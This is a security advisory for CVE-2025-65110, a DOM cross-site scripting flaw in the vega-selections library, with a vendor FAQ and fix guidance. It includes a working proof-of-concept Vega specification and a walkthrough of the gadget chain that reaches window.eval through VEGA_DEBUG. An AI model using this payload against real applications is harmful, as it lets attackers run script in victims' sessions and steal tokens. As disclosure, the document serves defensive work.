CVE-2025-65110

Workarounds

• Do not attach vega or vega.View instances to global variables or the window as the editor used to do here . This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that sets a map value with a function copied from the window that results in calling this.foo(this.bar) can be passed to the vlSelectionTuples function, calling the copied map function, allowing DOM XSS to be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

vlSelectionTuples({
    map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
    eventName: event.view.console.log,
    _handlers:{
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})"
        }
      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the map function of the provided object is called by the code that implements the vlSelectionTuples function. The map function has been set to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }

1. Set u to the result of calling this.eventName with undefined
   • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
2. Sets d to this._handlers
   • For our object, we have this defined to be used later
3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
   • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval.

PoC Link

Navigate here, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.

For a PoC that works even with the AST evaluator, abusing function call gadgets to get access to window.eval with more advanced gadgets, navigate here

Future investigation

In cases where VEGA_DEBUG is not enabled, there could theoretically be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped universal gadgets have been found.

Recommended Fix

In the selectionTuples implementation that backs the vulnerable function call, the code should be changed to check Array.isArray(array) before calling a potentially dangerous user provided .map on the array argument.

Impact

This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.

An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.

Applications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

1. Use vega in an application that attaches both vega library and a vega.View instance similar to the Vega Editor to the global window, or has any other satisfactory function gadgets in the global scope
2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-65110 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.6.3, 6.1.2); upgrading removes the vulnerable code path.

Kodem intelligence

• With Vega v6, use [email protected] (requires ESM)
• With Vega v5, use [email protected] (No ESM needed)

1. What is CVE-2025-65110? CVE-2025-65110 is a high-severity cross-site scripting (XSS) vulnerability in vega-selections (npm), affecting versions < 5.6.3. It is fixed in 5.6.3, 6.1.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2025-65110? CVE-2025-65110 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vega-selections are affected by CVE-2025-65110? vega-selections (npm) versions < 5.6.3 is affected.
4. Is there a fix for CVE-2025-65110? Yes. CVE-2025-65110 is fixed in 5.6.3, 6.1.2. Upgrade to this version or later.
5. Is CVE-2025-65110 exploitable, and should I be worried? Whether CVE-2025-65110 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-65110 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-65110?
   • Upgrade vega-selections to 5.6.3 or later
   • Upgrade vega-selections to 6.1.2 or later